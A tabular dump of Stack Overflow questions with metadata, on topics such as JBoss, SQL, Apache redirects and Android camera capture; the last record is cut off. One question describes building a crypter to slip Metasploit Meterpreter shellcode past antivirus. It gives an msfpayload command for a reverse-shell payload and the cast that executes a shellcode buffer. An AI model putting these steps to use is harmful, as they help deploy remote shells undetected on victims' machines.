PostId int64 13 11.8M | PostCreationDate stringlengths 19 19 | OwnerUserId int64 3 1.57M | OwnerCreationDate stringlengths 10 19 | ReputationAtPostCreation int64 -33 210k | OwnerUndeletedAnswerCountAtPostTime int64 0 5.77k | Title stringlengths 10 250 | BodyMarkdown stringlengths 12 30k | Tag1 stringlengths 1 25 ⌀ | Tag2 stringlengths 1 25 ⌀ | Tag3 stringlengths 1 25 ⌀ | Tag4 stringlengths 1 25 ⌀ | Tag5 stringlengths 1 25 ⌀ | PostClosedDate stringlengths 19 19 ⌀ | OpenStatus stringclasses 5 values | unified_texts stringlengths 47 30.1k | OpenStatus_id int64 0 4 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
8,713,380 | 01/03/2012 14:02:26 | 1,127,947 | 01/03/2012 13:38:52 | 1 | 0 | JBoss AS 7.0.2 - no print services found | First of all hello to everyone here on stackoverflow :)
I know similar questions have been asked and I think I read most of them, but none of the suggested answers could help me with my problem.
My problem is that the following piece of code does not find any printers when run inside JBoss AS 7 (doesn't matter if its within an EJB, an injected POJO or SesscionScoped Named class):
PrintService[] services = PrintServiceLookup.lookupPrintServices(null, null);
System.out.println("Number of services: " + services.length);
When this is run in a standalone Java Application it returns the 6 services as expected.
Furthermore I'm not running Jboss as a service but using standalone.bat (running this as administrator didn't help either), this was the most common problem in similar posts. I also tried `PrintServiceLookup.lookupDefaultPrintService()` and `PrinterJob.lookupPrintServices()` without luck.
I'm pretty much out of ideas, maybe that is a bug in JBoss 7? Or should the PrintServiceLookup be called in some special way?
Any help is much appreciated! | java | java-ee | jboss-7.x | null | null | null | open | JBoss AS 7.0.2 - no print services found
===
First of all hello to everyone here on stackoverflow :)
I know similar questions have been asked and I think I read most of them, but none of the suggested answers could help me with my problem.
My problem is that the following piece of code does not find any printers when run inside JBoss AS 7 (doesn't matter if its within an EJB, an injected POJO or SesscionScoped Named class):
PrintService[] services = PrintServiceLookup.lookupPrintServices(null, null);
System.out.println("Number of services: " + services.length);
When this is run in a standalone Java Application it returns the 6 services as expected.
Furthermore I'm not running Jboss as a service but using standalone.bat (running this as administrator didn't help either), this was the most common problem in similar posts. I also tried `PrintServiceLookup.lookupDefaultPrintService()` and `PrinterJob.lookupPrintServices()` without luck.
I'm pretty much out of ideas, maybe that is a bug in JBoss 7? Or should the PrintServiceLookup be called in some special way?
Any help is much appreciated! | 0 |
7,430,429 | 09/15/2011 11:58:33 | 946,716 | 09/15/2011 11:58:33 | 1 | 0 | Sql Query for below problem | i have one table having data as mentioned below:
**Name**
ram
ram
ram
sita
sita
sita
now i need out put like below:
ram
sita
ram
sita
ram
sita
is any one know the answer?
| sql | sql-server | oracle | sql-server-2008 | null | 09/15/2011 13:01:28 | not a real question | Sql Query for below problem
===
i have one table having data as mentioned below:
**Name**
ram
ram
ram
sita
sita
sita
now i need out put like below:
ram
sita
ram
sita
ram
sita
is any one know the answer?
| 1 |
6,724,311 | 07/17/2011 13:57:55 | 848,694 | 07/17/2011 13:34:44 | 1 | 0 | www redirection for co.in and co.uk | Anyone please help me to redirect in apache webserver
My domains which have .co.in extensions
http://domain.co.in should be redirected to http://www.domain.co.in
| apache | redirect | apache2.2 | no-www | null | 07/17/2011 16:04:41 | off topic | www redirection for co.in and co.uk
===
Anyone please help me to redirect in apache webserver
My domains which have .co.in extensions
http://domain.co.in should be redirected to http://www.domain.co.in
| 2 |
11,238,101 | 06/28/2012 04:33:10 | 1,487,466 | 06/28/2012 04:28:05 | 1 | 0 | HTML and Php files does not work seperate | I have created a form in html and written a php script for that in a seperate php file. When i keep my html in php file only the script is running..
However, the problem is that when i keep both (.php and .html) seperate they does nt work. I have placed both the files in www folder in wamp. Also my wamp server is online.
Vaibhav | php | html | null | null | null | 06/28/2012 09:54:01 | not a real question | HTML and Php files does not work seperate
===
I have created a form in html and written a php script for that in a seperate php file. When i keep my html in php file only the script is running..
However, the problem is that when i keep both (.php and .html) seperate they does nt work. I have placed both the files in www folder in wamp. Also my wamp server is online.
Vaibhav | 1 |
7,571,012 | 09/27/2011 14:41:18 | 418,410 | 08/12/2010 12:49:20 | 1 | 0 | Latest technologies in java | I'm have an experience of 2+ in java development. I worked on corejava,toplink(db framework),sql.
I have knowledge on servlets,jsp and struts.
I would like to move to another company. What are the latest emerging technologies in java??
| java | null | null | null | null | 09/27/2011 14:50:18 | off topic | Latest technologies in java
===
I'm have an experience of 2+ in java development. I worked on corejava,toplink(db framework),sql.
I have knowledge on servlets,jsp and struts.
I would like to move to another company. What are the latest emerging technologies in java??
| 2 |
3,232,691 | 07/12/2010 22:12:26 | 81,491 | 03/23/2009 15:43:09 | 2,293 | 51 | Find unused code in Java webapp | I have a Tomcat-powered webapp that builds to a war and is deployed. It's been used for a few somewhat different tasks over the years, and it has lots and lots and lots of classes and libraries.
I'd like to do some sort of automated census of used and unused classes (and maybe even dependencies) and get a report back for which classes, methods, or even lines that have not been executed over a few days of production use.
Is there a tool that could generate such a report for me? | java | tomcat | null | null | null | null | open | Find unused code in Java webapp
===
I have a Tomcat-powered webapp that builds to a war and is deployed. It's been used for a few somewhat different tasks over the years, and it has lots and lots and lots of classes and libraries.
I'd like to do some sort of automated census of used and unused classes (and maybe even dependencies) and get a report back for which classes, methods, or even lines that have not been executed over a few days of production use.
Is there a tool that could generate such a report for me? | 0 |
11,598,414 | 07/22/2012 07:14:23 | 1,418,731 | 05/26/2012 07:09:29 | 1 | 0 | Install Zend framework in windows7 and wamp server | how to Install Zend framework in windows7 and wamp server. I tried but i cant Help me
I tried you tube videos but i cant. | php | zend-framework | null | null | null | 07/22/2012 15:24:02 | not a real question | Install Zend framework in windows7 and wamp server
===
how to Install Zend framework in windows7 and wamp server. I tried but i cant Help me
I tried you tube videos but i cant. | 1 |
11,045,236 | 06/15/2012 05:46:48 | 1,457,879 | 06/15/2012 05:40:08 | 1 | 0 | Is SFTP with password-only client authentication still encrypted? | We are setting up a link to a client and they wish to use SFTP but without using keys for client authentication, just passwords. Do you still get the benefit of data encryption with this setup? I thought the protocol used the client keys for encryption but does it or can it use the host key instead? | sftp | null | null | null | null | 06/17/2012 03:59:48 | off topic | Is SFTP with password-only client authentication still encrypted?
===
We are setting up a link to a client and they wish to use SFTP but without using keys for client authentication, just passwords. Do you still get the benefit of data encryption with this setup? I thought the protocol used the client keys for encryption but does it or can it use the host key instead? | 2 |
2,844,608 | 05/16/2010 16:56:05 | 1,228 | 08/13/2008 13:58:55 | 29,240 | 1,101 | EF4 performance tips and tricks | I've gotten to that point in one of my projects, and haven't found much information out there. So if you've got some pointers for improving performance in the new Entity Framework 4, please let us know! | ef4 | performance | tips-and-tricks | null | null | 12/06/2011 19:48:51 | not constructive | EF4 performance tips and tricks
===
I've gotten to that point in one of my projects, and haven't found much information out there. So if you've got some pointers for improving performance in the new Entity Framework 4, please let us know! | 4 |
8,196,039 | 11/19/2011 17:56:17 | 540,394 | 12/13/2010 10:37:27 | 97 | 0 | GWT Form input field does not have value | I've got a weird problem with GWT and HTML forms.
I've made a simple FormPanel with 3 basic elements in it: FileUpload for image uploading, TextBox for the name of the image and Button for submit. Everything works (I can save the image server-side at least) except that whatever I type in the input field, it does not have a value, i.e. in Chrome's Inspect Element I clearly see that it has no value="..." field.
Why is this happening and how do I fix it? I can't save the name if it doesn't have any. | forms | gwt | null | null | null | null | open | GWT Form input field does not have value
===
I've got a weird problem with GWT and HTML forms.
I've made a simple FormPanel with 3 basic elements in it: FileUpload for image uploading, TextBox for the name of the image and Button for submit. Everything works (I can save the image server-side at least) except that whatever I type in the input field, it does not have a value, i.e. in Chrome's Inspect Element I clearly see that it has no value="..." field.
Why is this happening and how do I fix it? I can't save the name if it doesn't have any. | 0 |
6,744,124 | 07/19/2011 08:13:20 | 49,993 | 12/29/2008 22:11:12 | 801 | 57 | ActiveRecord: How to return counts of distinct votes? | My data model: Users, Votes, Items
Users can vote many times on an item
I want to return the total number of up and down votes for an item, *only counting the most recent one for a given user*
I was thinking something like selecting a distinct user_id and grouping by the value of the vote, but I'm not sure how I'd make the distinct pick up the most recent one..
I'd prefer to do this through the Rails 3 finder methods.. | sql | ruby-on-rails | ruby-on-rails-3 | null | null | null | open | ActiveRecord: How to return counts of distinct votes?
===
My data model: Users, Votes, Items
Users can vote many times on an item
I want to return the total number of up and down votes for an item, *only counting the most recent one for a given user*
I was thinking something like selecting a distinct user_id and grouping by the value of the vote, but I'm not sure how I'd make the distinct pick up the most recent one..
I'd prefer to do this through the Rails 3 finder methods.. | 0 |
5,323,880 | 03/16/2011 10:21:45 | 322,355 | 04/21/2010 13:59:31 | 2,802 | 90 | Is there a <NotIn> LINQ method ? | Is there a `NotIn` LINQ method ?
// A: 1,2,3,4,5
// B: 4,5,6,7,8
C = A.NotIn(B);
// C: 1,2,3
| c# | linq | null | null | null | null | open | Is there a <NotIn> LINQ method ?
===
Is there a `NotIn` LINQ method ?
// A: 1,2,3,4,5
// B: 4,5,6,7,8
C = A.NotIn(B);
// C: 1,2,3
| 0 |
11,543,509 | 07/18/2012 14:19:16 | 1,504,392 | 07/05/2012 14:53:55 | 9 | 2 | What is the Best Integration tool for Oracle => Vertica (data load)? | Looking for tools that will Integrate well with Vertica !! <br/>
We will load data from OLTP (Oracle, Sql Serer , MySQL) to OLAP(Vertica) 24/7 , we are new to Vertica and we are looking for tools already used by others !!
Thx all!! | integration | vertica | null | null | null | 07/19/2012 11:49:58 | not a real question | What is the Best Integration tool for Oracle => Vertica (data load)?
===
Looking for tools that will Integrate well with Vertica !! <br/>
We will load data from OLTP (Oracle, Sql Serer , MySQL) to OLAP(Vertica) 24/7 , we are new to Vertica and we are looking for tools already used by others !!
Thx all!! | 1 |
10,410,650 | 05/02/2012 09:02:44 | 902,036 | 08/19/2011 07:59:13 | 1 | 0 | How to smoothly rotate a character according to the slope it is walking onto/standing on? | I need to rotate a character sprite according to the scope of the platform he (a rectangle) is standing or walking on. I have achieved the effect by rotating it according to the slope of the platform he is standing on. But there are two problems:
First, the rotation is not smooth. When the character walks from a flat platform onto a sloped one, it is rotated instantly and also because of that rotation it is pushed up by a little bit.
Second, once he walks off the slope and onto a flat platform again, I cannot rotate the character accordingly. This is because at that point the character would be colliding with both a flat platform and a sloped one (they are placed together), so for a few steps the character will be rotating crazily back and forth because two collision detection functions working together.
I have tried to solve it by detecting the facing of the character and try to figure out which point (left or right) of him touches something first, but it was not working, because I can only detect collision, but not "no collision" or "when character leaves some platform".
I have attached an illustration of the situation. Please help, thanks!
PS: Since I am not allowed to post images, please visit: http://i.stack.imgur.com/jqPjt.png for the image. Thanks. | box2d | game-physics | box2d-iphone | physics-engine | null | null | open | How to smoothly rotate a character according to the slope it is walking onto/standing on?
===
I need to rotate a character sprite according to the scope of the platform he (a rectangle) is standing or walking on. I have achieved the effect by rotating it according to the slope of the platform he is standing on. But there are two problems:
First, the rotation is not smooth. When the character walks from a flat platform onto a sloped one, it is rotated instantly and also because of that rotation it is pushed up by a little bit.
Second, once he walks off the slope and onto a flat platform again, I cannot rotate the character accordingly. This is because at that point the character would be colliding with both a flat platform and a sloped one (they are placed together), so for a few steps the character will be rotating crazily back and forth because two collision detection functions working together.
I have tried to solve it by detecting the facing of the character and try to figure out which point (left or right) of him touches something first, but it was not working, because I can only detect collision, but not "no collision" or "when character leaves some platform".
I have attached an illustration of the situation. Please help, thanks!
PS: Since I am not allowed to post images, please visit: http://i.stack.imgur.com/jqPjt.png for the image. Thanks. | 0 |
10,062,429 | 04/08/2012 11:22:41 | 1,311,794 | 04/04/2012 02:25:28 | 1 | 0 | About grabbing tweets using PHP | I am trying to grab tweets from tweeter. What I have is a list of users which I would like to grab their tweets from and I try to grab all their tweets and store them in my database. I would like to know if I am going to use Twitter API or is there any simple code for me to achieve this.
According to https://dev.twitter.com/docs/twitter-libraries#php
There are 5 libraries under PHP. I would like to know which one is good for me to use?
Thanks everyone | php | twitter-api | crawler | null | null | 04/09/2012 13:59:07 | not constructive | About grabbing tweets using PHP
===
I am trying to grab tweets from tweeter. What I have is a list of users which I would like to grab their tweets from and I try to grab all their tweets and store them in my database. I would like to know if I am going to use Twitter API or is there any simple code for me to achieve this.
According to https://dev.twitter.com/docs/twitter-libraries#php
There are 5 libraries under PHP. I would like to know which one is good for me to use?
Thanks everyone | 4 |
7,042,917 | 08/12/2011 16:00:53 | 620,235 | 02/16/2011 19:12:20 | 42 | 2 | Dynamically show a range of years from 2000 to 2005 | Simple question:
Dynamically show range of years from 2000 to 2005
example
2000
2001
2002
2003
2004
2005
Thanks in advance | jquery | null | null | null | null | 08/12/2011 16:05:10 | not a real question | Dynamically show a range of years from 2000 to 2005
===
Simple question:
Dynamically show range of years from 2000 to 2005
example
2000
2001
2002
2003
2004
2005
Thanks in advance | 1 |
4,415,349 | 12/11/2010 05:22:55 | 502,221 | 11/09/2010 17:39:42 | 62 | 2 | Java syntax error on tokens, misplaced constructs - array initialization | I have the following code in Java 5:
>for (Object o : theList) {
> > for (int k=0; k<theList.size(); k++)
int[][] m = new int[7][7];
m = theList.get(k);
for (int i=0; i<7; i++) {
for (int j=0; j<7; j++) {
System.out.println(m[i][j]);
}
System.out.println();
}
System.out.println();
}
...
}
On the line with
>int[][] m = new int[7][7]
it is telling me "Syntax error on token(s), misplaced construct(s)". Any idea what I'm doing wrong?
Thanks. | java | arrays | syntax-error | tokens | array-initialization | 09/02/2011 21:02:41 | too localized | Java syntax error on tokens, misplaced constructs - array initialization
===
I have the following code in Java 5:
>for (Object o : theList) {
> > for (int k=0; k<theList.size(); k++)
int[][] m = new int[7][7];
m = theList.get(k);
for (int i=0; i<7; i++) {
for (int j=0; j<7; j++) {
System.out.println(m[i][j]);
}
System.out.println();
}
System.out.println();
}
...
}
On the line with
>int[][] m = new int[7][7]
it is telling me "Syntax error on token(s), misplaced construct(s)". Any idea what I'm doing wrong?
Thanks. | 3 |
5,545,490 | 04/04/2011 23:28:28 | 676,028 | 03/25/2011 02:15:33 | 28 | 1 | Javascript API's | So I am trying to figure out how to use API's.
If I want to embed a movie from an API and it gives me a passcode, secret key for the video, the username, and the label of the movie..
I'm not sure how to I would include al this info in the embed? | javascript | api | embed | passphrase | null | 04/05/2011 00:59:23 | not a real question | Javascript API's
===
So I am trying to figure out how to use API's.
If I want to embed a movie from an API and it gives me a passcode, secret key for the video, the username, and the label of the movie..
I'm not sure how to I would include al this info in the embed? | 1 |
3,392,804 | 08/03/2010 00:27:59 | 325,068 | 04/24/2010 19:08:08 | 29 | 1 | Organizing a bunch of controllers that all deal with the same model | I have a bunch of different controllers that all deal with the same basic model. For example...
- FoobarController
- FoobarShareController
- FoobarTakeController
- FoobarToolsController
- FoobarVerifyController
They all do various things to the foobar model and I kind of wanted a better way to organize them along with other things that deal with the rest of the site like all the stuff that doesn't specifically deal with Foobar but just general site usage like the UserController, DashboardController, MainController.
My idea was to put everything into namespaces so I would have the Foobar module and the Site module. The issue with that is in the case of say the Foobar:FoobarController my paths would be foobar_foobar_path and similarly the urls would look kind of odd.
This seems less then ideal so I was wondering what the best way to do this kind of organization was instead of having everything just in one directory and thus one namespace. | ruby-on-rails | ruby | organization | null | null | null | open | Organizing a bunch of controllers that all deal with the same model
===
I have a bunch of different controllers that all deal with the same basic model. For example...
- FoobarController
- FoobarShareController
- FoobarTakeController
- FoobarToolsController
- FoobarVerifyController
They all do various things to the foobar model and I kind of wanted a better way to organize them along with other things that deal with the rest of the site like all the stuff that doesn't specifically deal with Foobar but just general site usage like the UserController, DashboardController, MainController.
My idea was to put everything into namespaces so I would have the Foobar module and the Site module. The issue with that is in the case of say the Foobar:FoobarController my paths would be foobar_foobar_path and similarly the urls would look kind of odd.
This seems less then ideal so I was wondering what the best way to do this kind of organization was instead of having everything just in one directory and thus one namespace. | 0 |
11,722,126 | 07/30/2012 12:59:53 | 1,064,504 | 11/24/2011 18:32:11 | 1 | 1 | shellcode execution doesn't seem to happen :: Meterpreter :: Metasploit | I was writing an executable crypter as an exercise with goal of Antivirus evasion, now the problem is the final executable isn't working on windows 7.. It's working flawlessly on Windows XP...
For the purpose of the test I took, metasploit's meterpreter payload exported its shellcode and compiled it into my executable crypter..
I won't mention the details of executable encrypter...
Basically you can recreate the problem by following steps
In nutshell you get the shellcode of meterpreter exported into C file...
msfpayload windows/shell/reverse_tcp_dns LHOST=somewhere.com LPORT=1234 C > shell_code.c
this exports file of somewhat 3 MBs, But I only took shellcode of the malware vector not the DLL which is right at top of the file, it looks like follows
unsigned char buf[] = "\xfc\x..........................";
I took this (a encrypter version). Basically after decoding/decrypting, the shellcode is executed by casting it to a function like
(*(int(*)()) buf)();
everything works as expected under windows XP, but fails on Windows 7...
I am clue less about the reasons behind any help will be appreciated.
NOTE: I don't have windows 7, I tested it under virtualized Windows XP... | security | encryption | stack | malware | shellcode | 07/31/2012 13:34:31 | off topic | shellcode execution doesn't seem to happen :: Meterpreter :: Metasploit
===
I was writing an executable crypter as an exercise with goal of Antivirus evasion, now the problem is the final executable isn't working on windows 7.. It's working flawlessly on Windows XP...
For the purpose of the test I took, metasploit's meterpreter payload exported its shellcode and compiled it into my executable crypter..
I won't mention the details of executable encrypter...
Basically you can recreate the problem by following steps
In nutshell you get the shellcode of meterpreter exported into C file...
msfpayload windows/shell/reverse_tcp_dns LHOST=somewhere.com LPORT=1234 C > shell_code.c
this exports file of somewhat 3 MBs, But I only took shellcode of the malware vector not the DLL which is right at top of the file, it looks like follows
unsigned char buf[] = "\xfc\x..........................";
I took this (a encrypter version). Basically after decoding/decrypting, the shellcode is executed by casting it to a function like
(*(int(*)()) buf)();
everything works as expected under windows XP, but fails on Windows 7...
I am clue less about the reasons behind any help will be appreciated.
NOTE: I don't have windows 7, I tested it under virtualized Windows XP... | 2 |
1,630,728 | 10/27/2009 13:15:19 | 160,493 | 08/21/2009 02:38:17 | 1 | 0 | No IDLE for Python 3? | I installed Python 3.1 yesterday on my Windows Vista PC, and was surprised to find that the version of IDLE is 2.6.4, for "Python 2.6.4 (r264:75708, Oct 26 2009, 08:23:19) [MSC v.1500 32 bit (Intel)] on win32"
I was hoping to use IDLE to investigate some of the new features of Python 3...
I guess I'm stuck with the command line...
Anyone know what's up with Python 3's IDLE?
Thanks | python3.x | idle | null | null | null | null | open | No IDLE for Python 3?
===
I installed Python 3.1 yesterday on my Windows Vista PC, and was surprised to find that the version of IDLE is 2.6.4, for "Python 2.6.4 (r264:75708, Oct 26 2009, 08:23:19) [MSC v.1500 32 bit (Intel)] on win32"
I was hoping to use IDLE to investigate some of the new features of Python 3...
I guess I'm stuck with the command line...
Anyone know what's up with Python 3's IDLE?
Thanks | 0 |
11,062,125 | 06/16/2012 09:04:12 | 1,173,341 | 02/09/2011 09:57:38 | 1,317 | 126 | How to capture an image in android with fixed size? | I used the following code to capture image. Everything works fine, when i capture the image it has 2592x1944 size and the image is captured in landscape mode. Now i want to capture the image with the size of 534x534. I changed this parameter values `params.setPictureSize(534, 534);` Nothing will change. How can i do this. Thanks in advance.
**DgCamActivity.java**
public class DgCamActivity extends Activity implements SensorEventListener {
private Camera mCamera;
private CameraPreview mPreview;
private SensorManager sensorManager = null;
private int orientation;
private ExifInterface exif;
private int deviceHeight;
private Button ibRetake;
private Button ibUse;
private Button ibCapture;
// private FrameLayout flBtnContainer;
private File sdRoot;
private String dir;
private String fileName;
// private ImageView rotatingImage;
private int degrees = -1;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.test);
// Setting all the path for the image
sdRoot = Environment.getExternalStorageDirectory();
dir = "/SimpleCamera/";
// Getting all the needed elements from the layout
// rotatingImage = (ImageView) findViewById(R.id.imageView1);
ibRetake = (Button) findViewById(R.id.ibRetake);
ibUse = (Button) findViewById(R.id.ibUse);
ibCapture = (Button) findViewById(R.id.ibCapture);
// flBtnContainer = (FrameLayout) findViewById(R.id.flBtnContainer);
// Getting the sensor service.
sensorManager = (SensorManager) getSystemService(SENSOR_SERVICE);
// Selecting the resolution of the Android device so we can create a
// proportional preview
Display display = ((WindowManager) getSystemService(Context.WINDOW_SERVICE))
.getDefaultDisplay();
deviceHeight = display.getHeight();
// Add a listener to the Capture button
ibCapture.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
mCamera.takePicture(null, null, mPicture);
}
});
// Add a listener to the Retake button
ibRetake.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
// Deleting the image from the SD card/
File discardedPhoto = new File(sdRoot, dir + fileName);
discardedPhoto.delete();
// Restart the camera preview.
mCamera.startPreview();
// Reorganize the buttons on the screen
// flBtnContainer.setVisibility(LinearLayout.VISIBLE);
ibRetake.setVisibility(LinearLayout.GONE);
ibUse.setVisibility(LinearLayout.GONE);
}
});
// Add a listener to the Use button
ibUse.setOnClickListener(new View.OnClickListener() {
public void onClick(View v) {
// Everything is saved so we can quit the app.
finish();
}
});
}
private void createCamera() {
// Create an instance of Camera
mCamera = getCameraInstance();
// Setting the right parameters in the camera
Camera.Parameters params = mCamera.getParameters();
List<Camera.Size> sizes = params.getSupportedPictureSizes();
Log.v("SUPORTED SIZE IS>>>>>.", params.getSupportedPictureSizes() + "");
Log.v("SUPORTED SIZE IS>>>>>.", sizes.size() + "");
params.setPictureSize(1600, 1200);
params.setPictureFormat(PixelFormat.JPEG);
params.setJpegQuality(100);
mCamera.setParameters(params);
// Create our Preview view and set it as the content of our activity.
mPreview = new CameraPreview(this, mCamera);
RelativeLayout preview = (RelativeLayout) findViewById(R.id.camera_preview);
// Calculating the width of the preview so it is proportional.
float widthFloat = (float) (deviceHeight) * 4 / 3;
int width = Math.round(widthFloat);
RelativeLayout.LayoutParams layoutParams = new RelativeLayout.LayoutParams(
LayoutParams.FILL_PARENT, LayoutParams.FILL_PARENT);
preview.setLayoutParams(layoutParams);
preview.addView(mPreview, 0);
}
@Override
protected void onResume() {
super.onResume();
createCamera();
sensorManager.registerListener(this,
sensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER),
SensorManager.SENSOR_DELAY_NORMAL);
}
@Override
protected void onPause() {
super.onPause();
releaseCamera();
RelativeLayout preview = (RelativeLayout) findViewById(R.id.camera_preview);
preview.removeViewAt(0);
}
private void releaseCamera() {
if (mCamera != null) {
mCamera.release(); // release the camera for other applications
mCamera = null;
}
}
public static Camera getCameraInstance() {
Camera c = null;
try {
// attempt to get a Camera instance
c = Camera.open();
} catch (Exception e) {
// Camera is not available (in use or does not exist)
}
// returns null if camera is unavailable
return c;
}
private PictureCallback mPicture = new PictureCallback() {
public void onPictureTaken(byte[] data, Camera camera) {
ibRetake.setVisibility(View.VISIBLE);
ibUse.setVisibility(View.VISIBLE);
// File name of the image that we just took.
fileName = "IMG_"
+ new SimpleDateFormat("yyyyMMdd_HHmmss")
.format(new Date()).toString() + ".jpg";
File mkDir = new File(sdRoot, dir);
mkDir.mkdirs();
// Main file where to save the data that we recive from the camera
File pictureFile = new File(sdRoot, dir + fileName);
try {
FileOutputStream purge = new FileOutputStream(pictureFile);
purge.write(data);
purge.close();
} catch (FileNotFoundException e) {
Log.d("DG_DEBUG", "File not found: " + e.getMessage());
} catch (IOException e) {
Log.d("DG_DEBUG", "Error accessing file: " + e.getMessage());
}
try {
exif = new ExifInterface("/sdcard/" + dir + fileName);
exif.setAttribute(ExifInterface.TAG_ORIENTATION, ""
+ orientation);
exif.saveAttributes();
} catch (IOException e) {
e.printStackTrace();
}
}
};
/**
* Putting in place a listener so we can get the sensor data only when
* something changes.
*/
public void onSensorChanged(SensorEvent event) {
synchronized (this) {
if (event.sensor.getType() == Sensor.TYPE_ACCELEROMETER) {
RotateAnimation animation = null;
if (event.values[0] < 4 && event.values[0] > -4) {
if (event.values[1] > 0
&& orientation != ExifInterface.ORIENTATION_ROTATE_90) {
// UP
orientation = ExifInterface.ORIENTATION_ROTATE_90;
animation = getRotateAnimation(270);
degrees = 270;
} else if (event.values[1] < 0
&& orientation != ExifInterface.ORIENTATION_ROTATE_270) {
// UP SIDE DOWN
orientation = ExifInterface.ORIENTATION_ROTATE_270;
animation = getRotateAnimation(90);
degrees = 90;
}
} else if (event.values[1] < 4 && event.values[1] > -4) {
if (event.values[0] > 0
&& orientation != ExifInterface.ORIENTATION_NORMAL) {
// LEFT
orientation = ExifInterface.ORIENTATION_NORMAL;
animation = getRotateAnimation(0);
degrees = 0;
} else if (event.values[0] < 0
&& orientation != ExifInterface.ORIENTATION_ROTATE_180) {
// RIGHT
orientation = ExifInterface.ORIENTATION_ROTATE_180;
animation = getRotateAnimation(180);
degrees = 180;
}
}
if (animation != null) {
// rotatingImage.startAnimation(animation);
}
}
}
}
/**
* Calculating the degrees needed to rotate the image imposed on the button
* so it is always facing the user in the right direction
*
* @param toDegrees
* @return
*/
private RotateAnimation getRotateAnimation(float toDegrees) {
float compensation = 0;
if (Math.abs(degrees - toDegrees) > 180) {
compensation = 360;
}
// When the device is being held on the left side (default position for
// a camera) we need to add, not subtract from the toDegrees.
if (toDegrees == 0) {
compensation = -compensation;
}
// Creating the animation and the RELATIVE_TO_SELF means that he image
// will rotate on it center instead of a corner.
RotateAnimation animation = new RotateAnimation(degrees, toDegrees
- compensation, Animation.RELATIVE_TO_SELF, 0.5f,
Animation.RELATIVE_TO_SELF, 0.5f);
// Adding the time needed to rotate the image
animation.setDuration(250);
// Set the animation to stop after reaching the desired position. With
// out this it would return to the original state.
animation.setFillAfter(true);
return animation;
}
/**
* STUFF THAT WE DON'T NEED BUT MUST BE HEAR FOR THE COMPILER TO BE HAPPY.
*/
public void onAccuracyChanged(Sensor sensor, int accuracy) {
}
}
**CameraPreview.java**
public class CameraPreview extends SurfaceView implements SurfaceHolder.Callback {
private SurfaceHolder mHolder;
private Camera mCamera;
public CameraPreview(Context context, Camera camera) {
super(context);
mCamera = camera;
// Install a SurfaceHolder.Callback so we get notified when the
// underlying surface is created and destroyed.
mHolder = getHolder();
mHolder.addCallback(this);
// deprecated setting, but required on Android versions prior to 3.0
mHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
mHolder.setSizeFromLayout();
mHolder.setFixedSize(100, 100);
}
public void surfaceCreated(SurfaceHolder holder) {
// The Surface has been created, now tell the camera where to draw the
// preview.
try {
mCamera.setPreviewDisplay(holder);
mCamera.startPreview();
} catch (IOException e) {
Log.d("DG_DEBUG", "Error setting camera preview: " + e.getMessage());
}
}
public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {
// If your preview can change or rotate, take care of those events here.
// Make sure to stop the preview before resizing or reformatting it.
if (mHolder.getSurface() == null) {
// preview surface does not exist
return;
}
// stop preview before making changes
try {
mCamera.stopPreview();
} catch (Exception e) {
// ignore: tried to stop a non-existent preview
}
// make any resize, rotate or reformatting changes here
// start preview with new settings
try {
mCamera.setPreviewDisplay(mHolder);
mCamera.startPreview();
} catch (Exception e) {
Log.d("DG_DEBUG", "Error starting camera preview: " + e.getMessage());
}
}
public void surfaceDestroyed(SurfaceHolder holder) {
// empty. Take care of releasing the Camera preview in your activity.
}
}
**test.xml**
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="fill_parent"
android:layout_height="fill_parent" >
<RelativeLayout
android:id="@+id/camera_preview"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:layout_alignParentTop="true"
android:layout_centerHorizontal="true" >
</RelativeLayout>
<RelativeLayout
android:id="@+id/relativeLayout1"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:layout_alignParentBottom="true"
android:layout_centerHorizontal="true"
android:layout_marginBottom="41dp" >
<Button
android:id="@+id/ibCapture"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignBottom="@+id/relativeLayout1"
android:layout_alignLeft="@+id/camera_preview"
android:text="Capture" />
<Button
android:id="@+id/ibRetake"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentTop="true"
android:layout_marginLeft="36dp"
android:layout_toRightOf="@+id/ibCapture"
android:text="ReTake" />
<Button
android:id="@+id/ibUse"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_alignParentRight="true"
android:layout_alignParentTop="true"
android:layout_marginRight="38dp"
android:text="Save" />
</RelativeLayout>
</RelativeLayout>
| android | android-camera | android-images | null | null | null | open | How to capture an image in android with fixed size?
===
I used the following code to capture image. Everything works fine, when i capture the image it has 2592x1944 size and the image is captured in landscape mode. Now i want to capture the image with the size of 534x534. I changed this parameter values `params.setPictureSize(534, 534);` Nothing will change. How can i do this. Thanks in advance.
**DgCamActivity.java**
public class DgCamActivity extends Activity implements SensorEventListener {
private Camera mCamera;
private CameraPreview mPreview;
private SensorManager sensorManager = null;
private int orientation;
private ExifInterface exif;
private int deviceHeight;
private Button ibRetake;
private Button ibUse;
private Button ibCapture;
// private FrameLayout flBtnContainer;
private File sdRoot;
private String dir;
private String fileName;
// private ImageView rotatingImage;
private int degrees = -1;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.test);
// Setting all the path for the image
sdRoot = Environment.getExternalStorageDirectory();
dir = "/SimpleCamera/";
// Getting all the needed elements from the layout
// rotatingImage = (ImageView) findViewById(R.id.imageView1);
ibRetake = (Button) findViewById(R.id.ibRetake);
ibUse = (Button) findViewById(R.id.ibUse);
ibCapture = (Button) findViewById(R.id.ibCapture);
// flBtnContainer = (FrameLayout) findViewById(R.id.flBtnContainer);
// Getting the sensor service.
sensorManager = (SensorManager) getSystemService(SENSOR_SERVICE);
// Selecting the resolution of the Android device so we can create a
// proportional preview
Display display = ((WindowManager) getSystemService(Context.WINDOW_SERVICE))
.getDefaultDisplay();
deviceHeight = display.getHeight();
// Add a listener to the Capture button
